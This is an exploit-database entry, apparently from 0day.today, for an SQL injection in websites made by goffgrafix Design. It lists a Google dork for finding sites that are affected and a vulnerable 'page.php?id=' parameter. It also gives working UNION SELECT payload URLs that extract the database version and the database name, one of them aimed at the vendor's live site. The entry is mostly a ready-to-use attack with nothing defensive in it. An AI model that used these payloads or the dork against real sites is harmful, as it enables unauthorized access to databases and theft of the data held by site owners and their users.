goffgrafix Design's SQL Injection Vulnerability

2010-05-23T00:00:00
ID 1337DAY-ID-12366
Type zdt
Reporter XroGuE
Modified 2010-05-23T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            ===============================================
goffgrafix Design's SQL Injection Vulnerability
===============================================


##########################################
# Name: goffgrafix Design's SQL Injection Vulnerability
# Date: 2010-05-23
# vendor: www.goffgrafix.com
# Author: Ashiyane Digital Security Team
# Discovered By: XroGuE
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: www.Ashiyane.org
##########################################
 
[+] Dork: intext:"Web design by goffgrafix.com"
 
[+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi]
 
[+] Demo: http://server/media.php?id=-999+UNION+All+SELECT+1,version(),3,4,5,6,7
 
[+] Vendor Vulnerability: http://www.goffgrafix.com/designer.php?id=-999+UNION+all+SELECT+1,version(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
 
##########################################



#  0day.today [2018-01-02]  #